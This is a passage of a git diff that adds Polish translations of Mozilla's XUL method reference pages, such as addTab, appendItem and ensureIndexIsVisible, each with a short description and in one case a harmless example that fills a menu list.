--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/addsession/index.html
@@ -0,0 +1,17 @@
+---
+title: addSession
+slug: Mozilla/Tech/XUL/Metoda/addSession
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/addSession
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-addSession"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/addSession">addSession( session )</a></code></span>
+</dt><dd> Zwraca typ: <i>nsIAutoCompleteSession</i>
+</dd><dd> Dodaje obiekt nowej sesji do widgetu autouzupełnienia. Ten możemy zastosować do utworzenia autouzupełnienia listy rezultatów dostosowanej do naszych wymagań. Argument powinien być obiektem, który implementuje interfejs <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a>. Ta metoda zwraca pasujący obiekt.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/addtab/index.html b/files/pl/mozilla/tech/xul/metoda/addtab/index.html
new file mode 100644
index 0000000000..946a7d269c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/addtab/index.html
@@ -0,0 +1,18 @@
+---
+title: addTab
+slug: Mozilla/Tech/XUL/Metoda/addTab
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/addTab
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-addTab"><code><a href="http://api/pl/docs/Mozilla/Tech/XUL/Metoda/addTab">addTab( URL, referrerURI, charset, postData, owner, allowThirdPartyFixup )</a></code></span>
+</dt><dd> Zwraca typ: <i>element <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></i>
+</dd><dd> Otwiera nową kartę, która ładuje stronę o określonym adresie <code>URL</code>. Pozostałe parametry są opcjonalne. Pasek kart pojawi się, jeśli to potrzebne.
+</dd><dd> Zobacz przykład: <a href="pl/Fragmenty_kodu/Przegl%c4%85danie_w_kartach">Fragmenty kodu:Przeglądanie w kartach</a>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/advance/index.html b/files/pl/mozilla/tech/xul/metoda/advance/index.html
new file mode 100644
index 0000000000..b0e8a5986b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/advance/index.html
@@ -0,0 +1,18 @@
+---
+title: advance
+slug: Mozilla/Tech/XUL/Metoda/advance
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/advance
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-advance"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/advance">advance( pageID )</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>nie zwraca wartości</i></dd>
+ <dd>
+ Wywołaj tą metodę, aby przejść stronę dalej. Jest równoważna naciśnięciu przycisku Dalej. Własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/canAdvance">canAdvance</a></span></code> musi być ustawiona na <code>true</code> dla strony, która będzie zmieniona. Kod w atrybucie <code id="a-onwizardnext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardnext">onwizardnext</a></code> jest wywołany przed zmianą strony. Argument <var>pageID</var> pozwala nam określić indeks strony do której mamy przejść. Dostarcza <code>null</code> jako argument przejścia do strony dalej w pewnej kolejności.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/advanceselectedtab/index.html b/files/pl/mozilla/tech/xul/metoda/advanceselectedtab/index.html
new file mode 100644
index 0000000000..eaf4aab114
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/advanceselectedtab/index.html
@@ -0,0 +1,17 @@
+---
+title: advanceSelectedTab
+slug: Mozilla/Tech/XUL/Metoda/advanceSelectedTab
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/advanceSelectedTab
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-advanceSelectedTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/advanceSelectedTab">advanceSelectedTab( dir, wrap )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Jeśli argument <var>dir</var> jest ustawiony na <code>1</code>, aktualnie zaznaczona karta zmieni się w następnej karcie. Jeśli argument <var>dir</var> jest ustawiony na <code>-1</code>, aktualnie zaznaczona karta zmienia się w kartę poprzednią. Jeśli argument <var>wrap</var> jest <code>true</code>, będzie regulowało przewijaniem w koło, kiedy pierwsza lub ostatnia karta zostanie osiągnięta.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/appendcustomtoolbar/index.html b/files/pl/mozilla/tech/xul/metoda/appendcustomtoolbar/index.html
new file mode 100644
index 0000000000..55bec836d8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/appendcustomtoolbar/index.html
@@ -0,0 +1,17 @@
+---
+title: appendCustomToolbar
+slug: Mozilla/Tech/XUL/Metoda/appendCustomToolbar
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/appendCustomToolbar
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-appendCustomToolbar"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendCustomToolbar">appendCustomToolbar( name, currentset )</a></code></span>
+</dt><dd> <b><span class="highlightred">Tylko w Firefoksie</span></b>
+</dd><dd> Zwraca typ: <i>element</i>
+</dd><dd> Dodaje własny pasek narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>) do <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code> z daną <var>name</var>. Możemy dostarczyć listę argumentów id pozycji paska narzędzi oddzieloną przecinkiem jako drugi argument, aby dodać domyślnie kilka pozycji. Metoda zwraca element DOM dla tworzonego paska narzędzi. </dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/appendgroup/index.html b/files/pl/mozilla/tech/xul/metoda/appendgroup/index.html
new file mode 100644
index 0000000000..232b074322
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/appendgroup/index.html
@@ -0,0 +1,18 @@
+---
+title: appendGroup
+slug: Mozilla/Tech/XUL/Metoda/appendGroup
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/appendGroup
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-appendGroup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendGroup">appendGroup( group )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> <b><span class="highlightred">Nie w Firefoksie</span></b>
+</dd><dd> Dodaje kilka nowych kart na koniec istniejących kart. Argument powinien być tablicą obiektów, jeden dla każdego dokumentu do wczytania. Obiekty mogą być definiowane w skrypcie i stanowić mogą własności <code>URI</code> dla adresu URL strony do wczytania. Własność <code>referrerURI</code> może także być opcjonalnie zastosowana do ustawienia odniesienia się do strony.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/appenditem/index.html b/files/pl/mozilla/tech/xul/metoda/appenditem/index.html
new file mode 100644
index 0000000000..11e663c173
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/appenditem/index.html
@@ -0,0 +1,38 @@
+---
+title: appendItem
+slug: Mozilla/Tech/XUL/Metoda/appendItem
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/appendItem
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-appendItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendItem">appendItem( label, value )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Tworzy nową pozycję i dodaje ją na koniec istniejącej listy pozycji. Opcjonalnie posiada ustawioną wartość. Funkcja zwraca nowo utworzony element. </dd></dl>
+<div class="noinclude">
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;script language="javascript"&gt;
+function addItemsToList(){
+ var list = document.getElementById('myMenuList');
+
+ // dodaje pozycję tylko z etykietą
+ list.appendItem('One');
+
+ // dodaje pozycję z etykietą i wartością
+ list.appendItem('Two', 999);
+
+ // wybiera pierwsza pozycję
+ list.selectedIndex = 0;
+}
+&lt;/script&gt;
+
+&lt;button label="Dodaj pozycję" oncommand="addItemsToList()"/&gt;
+&lt;menulist id="myMenuList"&gt;
+ &lt;menupopup/&gt;
+&lt;/menulist&gt;
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/XUL/Metoda/insertItemAt">insertItemAt()</a></code> i <code><a href="pl/XUL/Metoda/removeItemAt">removeItemAt()</a></code>
+</p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/blur/index.html b/files/pl/mozilla/tech/xul/metoda/blur/index.html
new file mode 100644
index 0000000000..49660ab3d0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/blur/index.html
@@ -0,0 +1,18 @@
+---
+title: blur
+slug: Mozilla/Tech/XUL/Metoda/blur
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/blur
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Jeśli element jest "oznaczony" jako aktywny to oznaczenie jest usuwane. focus nie jest automatycznie umieszczana na żadnym elemencie. Podsumowując, jest używany do wywołania uchwytu <code>onblur</code>.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/cancel/index.html b/files/pl/mozilla/tech/xul/metoda/cancel/index.html
new file mode 100644
index 0000000000..82786e99f3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/cancel/index.html
@@ -0,0 +1,17 @@
+---
+title: cancel
+slug: Mozilla/Tech/XUL/Metoda/cancel
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/cancel
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-cancel"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/cancel">cancel()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wywołuje tą metodę do anulowania i zamknięcia kreatora. Kod w atrybucie <code><code id="a-onwizardcancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardcancel">onwizardcancel</a></code></code> jest wywołany zanim okno kreatora zostanie anulowane.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/canceldialog/index.html b/files/pl/mozilla/tech/xul/metoda/canceldialog/index.html
new file mode 100644
index 0000000000..e5e9400d27
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/canceldialog/index.html
@@ -0,0 +1,17 @@
+---
+title: cancelDialog
+slug: Mozilla/Tech/XUL/Metoda/cancelDialog
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/cancelDialog
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-cancelDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/cancelDialog">cancelDialog()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Anuluje okienko dialogowe i je zamyka, działa podobnie jak naciśnięcie przycisku &lt;tt&gt;Anuluj&lt;/tt&gt;.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/centerwindowonscreen/index.html b/files/pl/mozilla/tech/xul/metoda/centerwindowonscreen/index.html
new file mode 100644
index 0000000000..a33451738d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/centerwindowonscreen/index.html
@@ -0,0 +1,17 @@
+---
+title: centerWindowOnScreen
+slug: Mozilla/Tech/XUL/Metoda/centerWindowOnScreen
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/centerWindowOnScreen
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-centerWindowOnScreen"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/centerWindowOnScreen">centerWindowOnScreen()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Ustawia okienko dialogowe na środku ekranu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/checkadjacentelement/index.html b/files/pl/mozilla/tech/xul/metoda/checkadjacentelement/index.html
new file mode 100644
index 0000000000..bae1d47f2c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/checkadjacentelement/index.html
@@ -0,0 +1,17 @@
+---
+title: checkAdjacentElement
+slug: Mozilla/Tech/XUL/Metoda/checkAdjacentElement
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/checkAdjacentElement
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-checkAdjacentElement"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/checkAdjacentElement">checkAdjacentElement( dir )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Odznacza aktualnie zaznaczony przycisk <code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code> w grupie i zaznacza przyległy. Jeśli argument <var>dir</var> jest <code>true</code>, to następny przycisk opcji jest zaznaczony. Jeśli jest <code>false</code>, to zostanie poprzedni przycisk opcji zaznaczony.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/clearresults/index.html b/files/pl/mozilla/tech/xul/metoda/clearresults/index.html
new file mode 100644
index 0000000000..1374ce5d24
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/clearresults/index.html
@@ -0,0 +1,17 @@
+---
+title: clearResults
+slug: Mozilla/Tech/XUL/Metoda/clearResults
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/clearResults
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-clearResults"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/clearResults">clearResults()</a></code></span>
+</dt><dd> Zwraca typ: <i>???</i>
+</dd><dd> Czyści listę z wynikiem.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/clearselection/index.html b/files/pl/mozilla/tech/xul/metoda/clearselection/index.html
new file mode 100644
index 0000000000..0971276416
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/clearselection/index.html
@@ -0,0 +1,16 @@
+---
+title: clearSelection
+slug: Mozilla/Tech/XUL/Metoda/clearSelection
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/clearSelection
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-clearSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/clearSelection">clearSelection()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i> </dd><dd> Odznacza wszystkie pozycje.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/click/index.html b/files/pl/mozilla/tech/xul/metoda/click/index.html
new file mode 100644
index 0000000000..5df2725846
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/click/index.html
@@ -0,0 +1,18 @@
+---
+title: click
+slug: Mozilla/Tech/XUL/Metoda/click
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/click
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wywołuje uchwyt <code>onclick</code> dla elementu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/close/index.html b/files/pl/mozilla/tech/xul/metoda/close/index.html
new file mode 100644
index 0000000000..067ea03177
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/close/index.html
@@ -0,0 +1,17 @@
+---
+title: close
+slug: Mozilla/Tech/XUL/Metoda/close
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/close
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-close"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/close">close</a></code></span>
+</dt><dd> Zwraca typ: brak
+</dd><dd> Zamyka powiadomienie i usuwa je z jego otaczających znaczników <code>&lt;notificationbox&gt;</code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/collapsetoolbar/index.html b/files/pl/mozilla/tech/xul/metoda/collapsetoolbar/index.html
new file mode 100644
index 0000000000..2be74c5249
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/collapsetoolbar/index.html
@@ -0,0 +1,18 @@
+---
+title: collapseToolbar
+slug: Mozilla/Tech/XUL/Metoda/collapseToolbar
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/collapseToolbar
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-collapseToolbar"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/collapseToolbar">collapseToolbar( toolbar )</a></code></span>
+</dt><dd> <b><span class="highlightred">Nie w Firefoksie</span></b>
+</dd><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Zawija dany <var>toolbar</var>, który powinien być zawarty wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/decrease/index.html b/files/pl/mozilla/tech/xul/metoda/decrease/index.html
new file mode 100644
index 0000000000..4a6b5bcd1e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/decrease/index.html
@@ -0,0 +1,19 @@
+---
+title: decrease
+slug: Mozilla/Tech/XUL/Metoda/decrease
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/decrease
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-decrease"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/decrease">decrease()</a></code></span></dt><div class="noinclude">
+<dd> Metoda: <code><a href="/pl/docs/Mozilla/Tech/XUL/scale" title="scale">scale</a></code></dd></div>
+<dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wartość zmniejszająca się skali poprzez przyrost.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/decreasepage/index.html b/files/pl/mozilla/tech/xul/metoda/decreasepage/index.html
new file mode 100644
index 0000000000..0c4ad07268
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/decreasepage/index.html
@@ -0,0 +1,18 @@
+---
+title: decreasePage
+slug: Mozilla/Tech/XUL/Metoda/decreasePage
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/decreasePage
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-decreasePage"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/decreasePage">decreasePage()</a></code></span></dt><div class="noinclude">
+<dd> Metoda: <code><a href="/pl/docs/Mozilla/Tech/XUL/scale" title="scale">scale</a></code></dd></div>
+<dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wartość zmniejszająca się skali poprzez przyrost strony. </dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/docommand/index.html b/files/pl/mozilla/tech/xul/metoda/docommand/index.html
new file mode 100644
index 0000000000..738ea2e98d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/docommand/index.html
@@ -0,0 +1,18 @@
+---
+title: doCommand
+slug: Mozilla/Tech/XUL/Metoda/doCommand
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/doCommand
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wykonuje zdarzenie <code>command</code> dla elementu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/ensureelementisvisible/index.html b/files/pl/mozilla/tech/xul/metoda/ensureelementisvisible/index.html
new file mode 100644
index 0000000000..058b39f3f6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/ensureelementisvisible/index.html
@@ -0,0 +1,17 @@
+---
+title: ensureElementIsVisible
+slug: Mozilla/Tech/XUL/Metoda/ensureElementIsVisible
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/ensureElementIsVisible
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-ensureElementIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureElementIsVisible">ensureElementIsVisible( element )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Jeśli określony element nie jest aktualnie widziany przez użytkownika, to wyświetlane pozycje są przewijane, do momentu, aż będzie on widoczny. Jeśli pozycja jest już widoczna, przewijanie nie będzie miało miejsca.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/ensureindexisvisible/index.html b/files/pl/mozilla/tech/xul/metoda/ensureindexisvisible/index.html
new file mode 100644
index 0000000000..03595e5cb6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/ensureindexisvisible/index.html
@@ -0,0 +1,17 @@
+---
+title: ensureIndexIsVisible
+slug: Mozilla/Tech/XUL/Metoda/ensureIndexIsVisible
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/ensureIndexIsVisible
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-ensureIndexIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureIndexIsVisible">ensureIndexIsVisible( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Jeśli pozycja w określonym indeksie nie jest aktualnie widoczna, to użytkownik wyświetla tą pozycję poprzez przewinięcie okna. Jeśli natomiast pozycja jest widoczna, nie będzie możliwe żadne przewijanie.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/ensureselectedelementisvisible/index.html b/files/pl/mozilla/tech/xul/metoda/ensureselectedelementisvisible/index.html
new file mode 100644
index 0000000000..aadd4f54dd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/ensureselectedelementisvisible/index.html
@@ -0,0 +1,16 @@
+---
+title: ensureSelectedElementIsVisible
+slug: Mozilla/Tech/XUL/Metoda/ensureSelectedElementIsVisible
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/ensureSelectedElementIsVisible
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-ensureSelectedElementIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureSelectedElementIsVisible">ensureSelectedElementIsVisible()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Jeśli aktualnie zaznaczony element w pudełku listy jest aktualnie nie widoczny dla użytkownika, to widok pudełka jest przewijany, aż się on pojawi. Jeśli pozycja jest widoczna, to nie pojawią się paski przewijania. </dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/expandtoolbar/index.html b/files/pl/mozilla/tech/xul/metoda/expandtoolbar/index.html
new file mode 100644
index 0000000000..90dfd6348a
--- /dev/null
